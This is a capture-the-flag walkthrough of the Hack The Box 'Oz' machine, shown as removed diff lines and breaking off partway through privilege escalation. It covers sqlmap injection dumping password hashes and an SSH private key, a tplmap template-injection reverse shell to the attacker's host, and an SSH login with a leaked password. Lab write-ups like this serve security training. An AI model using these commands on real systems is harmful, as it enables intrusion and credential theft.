-|_Requested resource was http://oz.htb:8080/login
-|_http-trane-info: Problem with XML parsing of /evox/about
-
-Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
-Nmap done: 1 IP address (1 host up) scanned in 113.22 seconds
-```
-
-### Web enumeration
-
-On port 8080 there's a simple login page.
-
-
-
-Failed attempts:
- - No SQL injections found on this page
- - Dirbusting didn't find any useful files or directories
-
-On port 80 there's some web API asking for a username.
-
-
-
-Based on the HTML code, we can guess it's an API:
-
-```html
-OZ webapi
-
Please register a username!
-```
-
-Dirbusting is a bit more difficult than usual because the page randomly throws random strings in the response when we enumerate an invalid URI.
-
-The returned message contains either the **register a username** messages or a random string.
-
-
-
-
-
-
-
-We can use wfuzz and exclude responses that include only 1 or 4 words:
-
-```
-root@darkisland:~/SecLists/Discovery/Web-Content# wfuzz -z file,raft-small-words-lowercase.txt --hw 1,4 10.10.10.96/FUZZ
-
-==================================================================
-ID Response Lines Word Chars Payload
-==================================================================
-
-000199: C=200 3 L 6 W 79 Ch "users"
-...
-```
-
-So we found the `/users` URI, but we still get a 'Please register a username!' message but this time it's in bold letters so there is something different with that URI.
-
-After trying a few parameters and URIs, we find that an 500 error is triggered when using the `http://10.10.10.96/users/'` URI.
-
-This indicates a probable SQL injection. We can use sqlmap to explore this further:
-
-```
-root@darkisland:~# sqlmap -u http://10.10.10.96/users/
- ___
- __H__
- ___ ___[.]_____ ___ ___ {1.2.8#stable}
-|_ -| . [(] | .'| . |
-|___|_ ["]_|_|_|__,| _|
- |_|V |_| http://sqlmap.org
-
-[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
-
-[*] starting at 18:48:35
-
-[18:48:36] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
-do you want to try URI injections in the target URL itself? [Y/n/q]
-[18:48:44] [INFO] testing connection to the target URL
-[18:48:44] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
-[18:48:44] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS
-do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]
-[18:48:45] [WARNING] dropping timeout to 10 seconds (i.e. '--timeout=10')
-[18:48:45] [INFO] testing if the target URL content is stable
-[18:48:45] [INFO] target URL content is stable
-[18:48:45] [INFO] testing if URI parameter '#1*' is dynamic
-[18:48:45] [INFO] confirming that URI parameter '#1*' is dynamic
-[18:48:45] [INFO] URI parameter '#1*' is dynamic
-[18:48:45] [INFO] heuristics detected web page charset 'ascii'
-[18:48:45] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
-[18:48:45] [INFO] testing for SQL injection on URI parameter '#1*'
-[18:48:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
-[18:48:45] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
-[18:48:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
-[18:48:46] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
-[18:48:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
-[18:48:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
-[18:48:46] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
-[18:48:46] [INFO] testing 'MySQL inline queries'
-[18:48:46] [INFO] testing 'PostgreSQL inline queries'
-[18:48:46] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
-[18:48:46] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
-[18:48:46] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
-[18:48:46] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
-[18:48:46] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
-[18:48:46] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
-[18:48:47] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
-[18:48:47] [INFO] testing 'Oracle AND time-based blind'
-[18:48:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
-[18:48:48] [INFO] target URL appears to be UNION injectable with 1 columns
-[18:48:48] [WARNING] applying generic concatenation (CONCAT)
-[18:48:48] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
-[18:48:48] [INFO] checking if the injection point on URI parameter '#1*' is a false positive
-URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
-sqlmap identified the following injection point(s) with a total of 121 HTTP(s) requests:
----
-Parameter: #1* (URI)
- Type: UNION query
- Title: Generic UNION query (NULL) - 1 column
- Payload: http://10.10.10.96:80/users/' UNION ALL SELECT CONCAT(CONCAT('qbbqq','LTyCYJgVMHDgRhBJZQVYCtpRBHCImKTICLRjERMm'),'qqbvq')-- RRnL
----
-[18:48:51] [INFO] testing MySQL
-[18:48:51] [INFO] confirming MySQL
-[18:48:51] [INFO] the back-end DBMS is MySQL
-back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
-[18:48:51] [WARNING] HTTP error codes detected during run:
-500 (Internal Server Error) - 52 times
-[18:48:51] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.96'
-
-[*] shutting down at 18:48:51
-```
-
-We found that the URI parameter is vulnerable so we can now enumerate the database content.
-
-Databases:
-```
-root@darkisland:~# sqlmap -u http://10.10.10.96/users/ --dbs
-[...]
-available databases [4]:
-[*] information_schema
-[*] mysql
-[*] ozdb
-[*] performance_schema
-```
-
-MySQL credentials:
-```
-root@darkisland:~# sqlmap -u http://10.10.10.96/users/ --passwords
-[...]
- 9] [INFO] retrieved: "root","*61A2BD98DAD2A09749B6FC77A9578609D32518DD"
-[18:50:29] [INFO] retrieved: "dorthi","*43AE542A63D9C43FF9D40D0280CFDA58F6C747CA"
-[18:50:29] [INFO] retrieved: "root","*61A2BD98DAD2A09749B6FC77A9578609D32518DD"
-
-```
-
-Content of the ozdb database:
-```
-root@darkisland:~# sqlmap -u http://10.10.10.96/users/ -D ozdb --dump
-[...]
-+----+-------------+----------------------------------------------------------------------------------------+
-| id | username | password |
-+----+-------------+----------------------------------------------------------------------------------------+
-| 1 | dorthi | $pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78 |
-| 2 | tin.man | $pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk |
-| 3 | wizard.oz | $pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY |
-| 4 | coward.lyon | $pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY |
-| 5 | toto | $pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg |
-| 6 | admin | $pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ |
-+----+-------------+----------------------------------------------------------------------------------------+
-[...]
-Database: ozdb
-Table: tickets_gbw
-[12 entries]
-+----+----------+--------------------------------------------------------------------------------------------------------------------------------+
-| id | name | desc |
-+----+----------+--------------------------------------------------------------------------------------------------------------------------------+
-| 1 | GBR-987 | Reissued new id_rsa and id_rsa.pub keys for ssh access to dorthi. |
-| 2 | GBR-1204 | Where did all these damn monkey's come from!? I need to call pest control. |
-| 3 | GBR-1205 | Note to self: Toto keeps chewing on the curtain, find one with dog repellent. |
-| 4 | GBR-1389 | Nothing to see here... V2hhdCBkaWQgeW91IGV4cGVjdD8= |
-| 5 | GBR-4034 | Think of a better secret knock for the front door. Doesn't seem that secure, a Lion got in today. |
-| 6 | GBR-5012 | I bet you won't read the next entry. |
-| 7 | GBR-7890 | HAHA! Made you look. |
-| 8 | GBR-7945 | Dorthi should be able to find her keys in the default folder under /home/dorthi/ on the db. |
-| 9 | GBR-8011 | Seriously though, WW91J3JlIGp1c3QgdHJ5aW5nIHRvbyBoYXJkLi4uIG5vYm9keSBoaWRlcyBhbnl0aGluZyBpbiBiYXNlNjQgYW55bW9yZS4uLiBjJ21vbi4= |
-| 10 | GBR-8042 | You are just wasting time now... someone else is getting user.txt |
-| 11 | GBR-8457 | Look... now they've got root.txt and you don't even have user.txt |
-| 12 | GBR-9872 | db information loaded to ticket application for shared db access |
-+----+----------+--------------------------------------------------------------------------------------------------------------------------------+
-```
-
-Let's recap what we found:
- - MySQL hashes
- - OZDB users hashes
- - Hint about port knocking enabled on the server
- - Possible SSH keys available
-
-Using the `--file-read` option, we quickly find that there is no user.txt we can read and that the MySQL runs in a container.
-
-The `/etc/hosts` file gives it away, notice the randomly generated hostname which corresponds to the container ID.
-
-```
-root@darkisland:~# sqlmap -u http://10.10.10.96/users/ --file-read=/etc/hosts
- ___
- __H__
- ___ ___[)]_____ ___ ___ {1.2.8#stable}
-|_ -| . [.] | .'| . |
-|___|_ ["]_|_|_|__,| _|
- |_|V |_| http://sqlmap.org
-
-[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
-
-[*] starting at 18:53:35
-
-[18:53:35] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
-do you want to try URI injections in the target URL itself? [Y/n/q]
-[18:53:36] [INFO] resuming back-end DBMS 'mysql'
-[18:53:36] [INFO] testing connection to the target URL
-[18:53:36] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS/IDS
-sqlmap resumed the following injection point(s) from stored session:
----
-Parameter: #1* (URI)
- Type: UNION query
- Title: Generic UNION query (NULL) - 1 column
- Payload: http://10.10.10.96:80/users/' UNION ALL SELECT CONCAT(CONCAT('qbbqq','LTyCYJgVMHDgRhBJZQVYCtpRBHCImKTICLRjERMm'),'qqbvq')-- RRnL
----
-[18:53:36] [INFO] the back-end DBMS is MySQL
-back-end DBMS: MySQL 5 (MariaDB fork)
-[18:53:36] [INFO] fingerprinting the back-end DBMS operating system
-[18:53:36] [INFO] the back-end DBMS operating system is Linux
-[18:53:36] [INFO] fetching file: '/etc/hosts'
-do you want confirmation that the remote file '/etc/hosts' has been successfully downloaded from the back-end DBMS file system? [Y/n]
-[18:53:36] [INFO] the local file '/root/.sqlmap/output/10.10.10.96/files/_etc_hosts' and the remote file '/etc/hosts' have the same size (175 B)
-files saved to [1]:
-[*] /root/.sqlmap/output/10.10.10.96/files/_etc_hosts (same file)
-
-[18:53:36] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.96'
-
-[*] shutting down at 18:53:36
-
-root@darkisland:~# cat /root/.sqlmap/output/10.10.10.96/files/_etc_hosts
-127.0.0.1 localhost
-::1 localhost ip6-localhost ip6-loopback
-fe00::0 ip6-localnet
-ff00::0 ip6-mcastprefix
-ff02::1 ip6-allnodes
-ff02::2 ip6-allrouters
-10.100.10.4 b9b370edd41a
-```
-
-That's a dead end, next let's grab the SSH keys:
-
-```
-root@darkisland:~/oz#sqlmap -u http://10.10.10.96/users/ --file-read=/home/dorthi/.ssh/id_rsa
- ___
- __H__
- ___ ___[.]_____ ___ ___ {1.2.8#stable}
-|_ -| . [(] | .'| . |
-|___|_ [']_|_|_|__,| _|
- |_|V |_| http://sqlmap.org
-
-[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
-
-[*] starting at 18:57:23
-
-[18:57:23] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
-do you want to try URI injections in the target URL itself? [Y/n/q]
-[18:57:24] [INFO] resuming back-end DBMS 'mysql'
-[18:57:24] [INFO] testing connection to the target URL
-[18:57:24] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS/IDS
-sqlmap resumed the following injection point(s) from stored session:
----
-Parameter: #1* (URI)
- Type: UNION query
- Title: Generic UNION query (NULL) - 1 column
- Payload: http://10.10.10.96:80/users/' UNION ALL SELECT CONCAT(CONCAT('qbbqq','LTyCYJgVMHDgRhBJZQVYCtpRBHCImKTICLRjERMm'),'qqbvq')-- RRnL
----
-[18:57:24] [INFO] the back-end DBMS is MySQL
-back-end DBMS: MySQL 5 (MariaDB fork)
-[18:57:24] [INFO] fingerprinting the back-end DBMS operating system
-[18:57:24] [INFO] the back-end DBMS operating system is Linux
-[18:57:24] [INFO] fetching file: '/home/dorthi/.ssh/id_rsa'
-do you want confirmation that the remote file '/home/dorthi/.ssh/id_rsa' has been successfully downloaded from the back-end DBMS file system? [Y/n]
-[18:57:24] [INFO] the local file '/root/.sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa' and the remote file '/home/dorthi/.ssh/id_rsa' have the same size (1766 B)
-files saved to [1]:
-[*] /root/.sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa (same file)
-
-[18:57:24] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.96'
-
-[*] shutting down at 18:57:24
-
-root@darkisland:~/oz# cat /root/.sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa
------BEGIN RSA PRIVATE KEY-----
-Proc-Type: 4,ENCRYPTED
-DEK-Info: AES-128-CBC,66B9F39F33BA0788CD27207BF8F2D0F6
-
-RV903H6V6lhKxl8dhocaEtL4Uzkyj1fqyVj3eySqkAFkkXms2H+4lfb35UZb3WFC
-b6P7zYZDAnRLQjJEc/sQVXuwEzfWMa7pYF9Kv6ijIZmSDOMAPjaCjnjnX5kJMK3F
-e1BrQdh0phWAhhUmbYvt2z8DD/OGKhxlC7oT/49I/ME+tm5eyLGbK69Ouxb5PBty
-h9A+Tn70giENR/ExO8qY4WNQQMtiCM0tszes8+guOEKCckMivmR2qWHTCs+N7wbz
-a//JhOG+GdqvEhJp15pQuj/3SC9O5xyLe2mqL1TUK3WrFpQyv8lXartH1vKTnybd
-9+Wme/gVTfwSZWgMeGQjRXWe3KUsgGZNFK75wYtA/F/DB7QZFwfO2Lb0mL7Xyzx6
-ZakulY4bFpBtXsuBJYPNy7wB5ZveRSB2f8dznu2mvarByMoCN/XgVVZujugNbEcj
-evroLGNe/+ISkJWV443KyTcJ2iIRAa+BzHhrBx31kG//nix0vXoHzB8Vj3fqh+2M
-EycVvDxLK8CIMzHc3cRVUMBeQ2X4GuLPGRKlUeSrmYz/sH75AR3zh6Zvlva15Yav
-5vR48cdShFS3FC6aH6SQWVe9K3oHzYhwlfT+wVPfaeZrSlCH0hG1z9C1B9BxMLQr
-DHejp9bbLppJ39pe1U+DBjzDo4s6rk+Ci/5dpieoeXrmGTqElDQi+KEU9g8CJpto
-bYAGUxPFIpPrN2+1RBbxY6YVaop5eyqtnF4ZGpJCoCW2r8BRsCvuILvrO1O0gXF+
-wtsktmylmHvHApoXrW/GThjdVkdD9U/6Rmvv3s/OhtlAp3Wqw6RI+KfCPGiCzh1V
-0yfXH70CfLO2NcWtO/JUJvYH3M+rvDDHZSLqgW841ykzdrQXnR7s9Nj2EmoW72IH
-znNPmB1LQtD45NH6OIG8+QWNAdQHcgZepwPz4/9pe2tEqu7Mg/cLUBsTYb4a6mft
-icOX9OAOrcZ8RGcIdVWtzU4q2YKZex4lyzeC/k4TAbofZ0E4kUsaIbFV/7OMedMC
-zCTJ6rlAl2d8e8dsSfF96QWevnD50yx+wbJ/izZonHmU/2ac4c8LPYq6Q9KLmlnu
-vI9bLfOJh8DLFuqCVI8GzROjIdxdlzk9yp4LxcAnm1Ox9MEIqmOVwAd3bEmYckKw
-w/EmArNIrnr54Q7a1PMdCsZcejCjnvmQFZ3ko5CoFCC+kUe1j92i081kOAhmXqV3
-c6xgh8Vg2qOyzoZm5wRZZF2nTXnnCQ3OYR3NMsUBTVG2tlgfp1NgdwIyxTWn09V0
-nOzqNtJ7OBt0/RewTsFgoNVrCQbQ8VvZFckvG8sV3U9bh9Zl28/2I3B472iQRo+5
-uoRHpAgfOSOERtxuMpkrkU3IzSPsVS9c3LgKhiTS5wTbTw7O/vxxNOoLpoxO2Wzb
-/4XnEBh6VgLrjThQcGKigkWJaKyBHOhEtuZqDv2MFSE6zdX/N+L/FRIv1oVR9VYv
-QGpqEaGSUG+/TSdcANQdD3mv6EGYI+o4rZKEHJKUlCI+I48jHbvQCLWaR/bkjZJu
-XtSuV0TJXto6abznSC1BFlACIqBmHdeaIXWqH+NlXOCGE8jQGM8s/fd/j5g1Adw3
------END RSA PRIVATE KEY-----
-```
-
-That private key is encrypted, we'll need to extract the hash and convert it to a john format:
-
-```
-root@darkisland:~/oz# ssh2john hash.txt > hash
-root@darkisland:~/oz# cat hash
-hash.txt:$ssh2$2d2d2d2d2d424547494e205253412050524956415445204b45592d2d2d2d2d0a50726f632d547970653a20342c454e435259505445440a44454b2d496e666f3a204145532d3132382d4342432c36364239463339463333424130373838434432373230374246384632443046360a0a5256393033483656366c684b786c3864686f636145744c34557a6b796a31667179566a33657953716b41466b6b586d7332482b346c66623335555a62335746430a623650377a595a44416e524c516a4a45632f735156587577457a66574d6137705946394b7636696a495a6d53444f4d41506a61436a6e6a6e58356b4a4d4b33460a6531427251646830706857416868556d62597674327a3844442f4f474b68786c43376f542f3439492f4d452b746d3565794c47624b36394f75786235504274790a6839412b546e37306769454e522f45784f38715934574e51514d7469434d3074737a6573382b67754f454b43636b4d69766d52327157485443732b4e3777627a0a612f2f4a684f472b4764717645684a7031357051756a2f335343394f3578794c65326d714c3154554b3357724670517976386c586172744831764b546e7962640a392b576d652f6756546677535a57674d6547516a52585765334b557367475a4e464b3735775974412f462f444237515a4677664f324c62306d4c3758797a78360a5a616b756c59346246704274587375424a59504e79377742355a7665525342326638647a6e75326d76617242794d6f434e2f586756565a756a75674e6245636a0a6576726f4c474e652f2b49536b4a57563434334b7954634a3269495241612b427a486872427833316b472f2f6e69783076586f487a4238566a336671682b324d0a457963567644784c4b3843494d7a486333635256554d42655132583447754c5047524b6c556553726d597a2f734837354152337a68365a766c766131355961760a3576523438636453684653334643366148365351575665394b336f487a5968776c66542b7756506661655a72536c4348306847317a394331423942784d4c51720a4448656a703962624c70704a3339706531552b44426a7a446f347336726b2b43692f35647069656f6558726d475471456c4451692b4b4555396738434a70746f0a6259414755785046497050724e322b315242627859365956616f7035657971746e46345a47704a436f4357327238425273437675494c76724f314f306758462b0a7774736b746d796c6d48764841706f5872572f4754686a64566b644439552f36526d767633732f4f68746c4170335771773652492b4b6643504769437a6831560a3079665848373043664c4f324e6357744f2f4a554a765948334d2b72764444485a534c716757383431796b7a647251586e523773394e6a32456d6f57373249480a7a6e4e506d42314c51744434354e48364f4947382b51574e4164514863675a657077507a342f3970653274457175374d672f634c5542735459623461366d66740a69634f58394f414f72635a3852476349645657747a55347132594b5a6578346c797a65432f6b345441626f665a3045346b557361496246562f374f4d65644d430a7a43544a36726c416c326438653864735366463936515765766e44353079782b77624a2f697a5a6f6e486d552f3261633463384c5059713651394b4c6d6c6e750a764939624c664f4a6838444c46757143564938477a524f6a496478646c7a6b397970344c7863416e6d314f78394d4549716d4f567741643362456d59636b4b770a772f456d41724e49726e72353451376131504d6443735a63656a436a6e766d51465a336b6f35436f4643432b6b5565316a3932693038316b4f41686d587156330a633678676838566732714f797a6f5a6d3577525a5a46326e54586e6e4351334f5952334e4d73554254564732746c676670314e67647749797854576e303956300a6e4f7a714e744a374f4274302f526577547346676f4e5672435162513856765a46636b76473873563355396268395a6c32382f324933423437326951526f2b350a756f5248704167664f534f45527478754d706b726b5533497a53507356533963334c674b68695453357754625477374f2f7678784e4f6f4c706f784f32577a620a2f34586e4542683656674c726a54685163474b69676b574a614b7942484f684574755a714476324d465345367a64582f4e2b4c2f46524976316f5652395659760a514770714561475355472b2f54536463414e516444336d7636454759492b6f34725a4b45484a4b556c43492b4934386a48627651434c5761522f626b6a5a4a750a587453755630544a58746f3661627a6e53433142466c41434971426d4864656149585771482b4e6c584f434745386a51474d38732f66642f6a356731416477330a2d2d2d2d2d454e44205253412050524956415445204b45592d2d2d2d2d0a*1766*0
-```
-
-### Cracking hashes
-
-The only hash we are able to crack amongst all the stuff we recovered from MySQL and the SSH key is the `wizard.oz` account from the ozdb database:
-
-```
-root@darkisland:~/oz# john -w=/usr/share/wordlists/rockyou.txt users.txt --fork=4
-Using default input encoding: UTF-8
-Loaded 6 password hashes with 6 different salts (PBKDF2-HMAC-SHA256 [PBKDF2-SHA256 128/128 AVX 4x])
-Node numbers 1-4 of 4 (fork)
-Press 'q' or Ctrl-C to abort, almost any other key for status
-3 0g 0:00:44:19 2.46% (ETA: 2018-09-04 01:09) 0g/s 38.70p/s 232.2c/s 232.2C/s johansen1..joeyy
-2 0g 0:00:44:19 2.47% (ETA: 2018-09-04 01:08) 0g/s 38.72p/s 232.3c/s 232.3C/s jinsu..jing21
-4 0g 0:00:44:19 2.46% (ETA: 2018-09-04 01:10) 0g/s 38.69p/s 232.1c/s 232.1C/s johnpaul12..johnny43
-1 0g 0:00:44:19 2.47% (ETA: 2018-09-04 01:08) 0g/s 38.72p/s 232.3c/s 232.3C/s jmedina..jlucky
-```
-
-Password found: `wizard.oz` / `wizardofoz22`
-
-### Ticketing application
-
-Once logged in with the `wizard.oz` account we can see the existing tickets and create new ones.
-
-
-
-Unfortunately the creation of new tickets doesn't seem to work; when we submit a new ticket is just brings us back to the tickets list.
-
-
-
-
-
-If we use Burp to look at the POST response, we see that the name and description is echoed back to us. If we send a payload with curly braces, we trigger a different response where the math operation inside is executed so we know we are looking at a Service Side Template Injection (SSTI) vulnerability.
-
-
-
-To exploit the SSTI vulnerability we will use the [tplmap](https://github.com/epinna/tplmap) utility.
-
-```
-root@darkisland:~/tplmap# python tplmap.py -c "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTUzNTkzMTQ2MX0.3x2jmednxdT4PkLgaqV_wDRqy7AjowugPnpbJsMLCnc" -u http://10.10.10.96:8080 -e Jinja2 -d "name=param1&desc=param2"
-[+] Tplmap 0.5
- Automatic Server-Side Template Injection Detection and Exploitation Tool
-
-[+] Testing if POST parameter 'name' is injectable
-[+] Jinja2 plugin is testing rendering with tag '{{*}}'
-[+] Jinja2 plugin is testing blind injection
-[+] Jinja2 plugin has confirmed blind injection
-[+] Tplmap identified the following injection point:
-
- POST parameter: name
- Engine: Jinja2
- Injection: *
- Context: text
- OS: undetected
- Technique: blind
- Capabilities:
-
- Shell command execution: ok (blind)
- Bind and reverse shell: ok
- File write: ok (blind)
- File read: no
- Code evaluation: ok, python code (blind)
-
-[+] Rerun tplmap providing one of the following options:
-
- --os-shell Run shell on the target
- --os-cmd Execute shell commands
- --bind-shell PORT Connect to a shell bind to a target port
- --reverse-shell HOST PORT Send a shell back to the attacker's port
- --upload LOCAL REMOTE Upload files to the server
-```
-
-Let's get a shell with the `--reverse-shell` parameter:
-
-```
-root@darkisland:~/tplmap# python tplmap.py -c "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTUzNTkzMTQ2MX0.3x2jmednxdT4PkLgaqV_wDRqy7AjowugPnpbJsMLCnc" -u http://10.10.10.96:8080 -e Jinja2 -d "name=param1&desc=param2" --reverse-shell 10.10.14.23 4444
-[+] Tplmap 0.5
- Automatic Server-Side Template Injection Detection and Exploitation Tool
-
-[+] Testing if POST parameter 'name' is injectable
-[+] Jinja2 plugin is testing rendering with tag '{{*}}'
-[+] Jinja2 plugin is testing blind injection
-[+] Jinja2 plugin has confirmed blind injection
-[+] Tplmap identified the following injection point:
-
- POST parameter: name
- Engine: Jinja2
- Injection: *
- Context: text
- OS: undetected
- Technique: blind
- Capabilities:
-
- Shell command execution: ok (blind)
- Bind and reverse shell: ok
- File write: ok (blind)
- File read: no
- Code evaluation: ok, python code (blind)
-[...]
-
-root@darkisland:~# nc -lvnp 4444
-listening on [any] 4444 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.96] 35807
-/bin/sh: can't access tty; job control turned off
-/app #
-```
-
-### Inside the ticket app container
-
-The port knocking sequence can be found in the `/.secret` directory:
-
-```
-/app # ls -la /.secret
-total 12
-drwxr-xr-x 2 root root 4096 Apr 24 18:27 .
-drwxr-xr-x 53 root root 4096 May 15 17:24 ..
--rw-r--r-- 1 root root 262 Apr 24 18:27 knockd.conf
-/app # cat /.secret/knockd.conf
-[options]
- logfile = /var/log/knockd.log
-
-[opencloseSSH]
-
- sequence = 40809:udp,50212:udp,46969:udp
- seq_timeout = 15
- start_command = ufw allow from %IP% to any port 22
- cmd_timeout = 10
- stop_command = ufw delete allow from %IP% to any port 22
- tcpflags = syn
-```
-
-The MySQL credentials are also found in `/containers/database/start.sh`
-
-```
-/containers/database # cat start.sh
-#!/bin/bash
-
-docker run -d -v /connect/mysql:/var/lib/mysql --name ozdb \
---net prodnet --ip 10.100.10.4 \
--e MYSQL_ROOT_PASSWORD=SuP3rS3cr3tP@ss \
--e MYSQL_USER=dorthi \
--e MYSQL_PASSWORD=N0Pl4c3L1keH0me \
--e MYSQL_DATABASE=ozdb \
--v /connect/sshkeys:/home/dorthi/.ssh/:ro \
--v /dev/null:/root/.bash_history:ro \
--v /dev/null:/root/.ash_history:ro \
--v /dev/null:/root/.sh_history:ro \
---restart=always \
-mariadb:5.5
-```
-
-### Access to the host OS
-
-First, we open port 22 using the port-knock sequence:
-```
-../knock/knock -u 10.10.10.96 40809 50212 46969
-```
-
-The we can log in as `dorthi` with the MySQL password `N0Pl4c3L1keH0me`:
-```
-root@darkisland:~/oz# ssh -i id_rsa dorthi@10.10.10.96
-Enter passphrase for key 'id_rsa':
-dorthi@Oz:~$ cat user.txt
-c21cf
-```
-
-### Privilege Escalation
-
-We can check the docker networks according to sudoers:
-```
-dorthi@Oz:~$ sudo -l
-Matching Defaults entries for dorthi on Oz:
- env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
-
-User dorthi may run the following commands on Oz:
- (ALL) NOPASSWD: /usr/bin/docker network inspect *
- (ALL) NOPASSWD: /usr/bin/docker network ls
-```
-
-```
-dorthi@Oz:~$ sudo /usr/bin/docker network ls
-NETWORK ID NAME DRIVER SCOPE
-de829e486722 bridge bridge local
-49c1b0c16723 host host local
-3ccc2aa17acf none null local
-48148eb6a512 prodnet bridge local
-```
-
-```
-dorthi@Oz:~$ sudo /usr/bin/docker network inspect prodnet
-[
- {
- "Name": "prodnet",
- "Id": "48148eb6a512cd39f249c75f7acc91e0ac92d9cc9eecb028600d76d81199893f",
- "Created": "2018-04-25T15:33:00.533183631-05:00",
- "Scope": "local",
- "Driver": "bridge",
- "EnableIPv6": false,
- "IPAM": {
- "Driver": "default",
- "Options": {},
- "Config": [
- {
- "Subnet": "10.100.10.0/29",
- "Gateway": "10.100.10.1"
- }
- ]
- },
- "Internal": false,
- "Attachable": false,
- "Containers": {
- "139ba9457f1a630ee3a072693999c414901d7df49ab8a70b926d246f9ca6cc69": {
- "Name": "webapi",
- "EndpointID": "9d9d439314e66dcbe6fa38eb32941e4cc31c9dbfc843afbb0008ca017a540e05",
- "MacAddress": "02:42:0a:64:0a:06",
- "IPv4Address": "10.100.10.6/29",
- "IPv6Address": ""
- },
- "b9b370edd41a9d3ae114756d306f2502c420f48a4d7fbe36ae31bc18cf7ddb7c": {
- "Name": "ozdb",
- "EndpointID": "91b4ca1f31762f7e55208b74e5316839609fa0c77bc53aa7a92402827fbba05d",
- "MacAddress": "02:42:0a:64:0a:04",
- "IPv4Address": "10.100.10.4/29",
- "IPv6Address": ""
- },
- "c26a7bc669289e40144fa1ad25546f38e4349d964b7b3d4fea13e15fe5a9fb01": {
- "Name": "tix-app",
- "EndpointID": "73701fde20003bd373653d4f1eb9d84ed5f04f987958d167112e899e585d8450",
- "MacAddress": "02:42:0a:64:0a:02",
- "IPv4Address": "10.100.10.2/29",
- "IPv6Address": ""
- }
- },
- "Options": {},
- "Labels": {}
- }
-]
-dorthi@Oz:~$ sudo /usr/bin/docker network inspect bridge
-[
- {
- "Name": "bridge",
- "Id": "de829e4867228adc17d5544fda536ff9329f03fefa29d5828b6cade710ec15df",
- "Created": "2018-09-02T17:04:14.75249885-05:00",
- "Scope": "local",
- "Driver": "bridge",
- "EnableIPv6": false,
- "IPAM": {
- "Driver": "default",
- "Options": null,
- "Config": [
- {
- "Subnet": "172.17.0.0/16",
- "Gateway": "172.17.0.1"
- }
- ]
- },
- "Internal": false,
- "Attachable": false,
- "Containers": {
- "e267fc4f305575070b1166baf802877cb9d7c7c5d7711d14bfc2604993b77e14": {
- "Name": "portainer-1.11.1",
- "EndpointID": "4f616ad115d5cc9daa5c780a48cfe88018d372ce9073e5e9c1929b0a09db693f",
- "MacAddress": "02:42:ac:11:00:02",
- "IPv4Address": "172.17.0.2/16",
- "IPv6Address": ""
- }
- },
- "Options": {
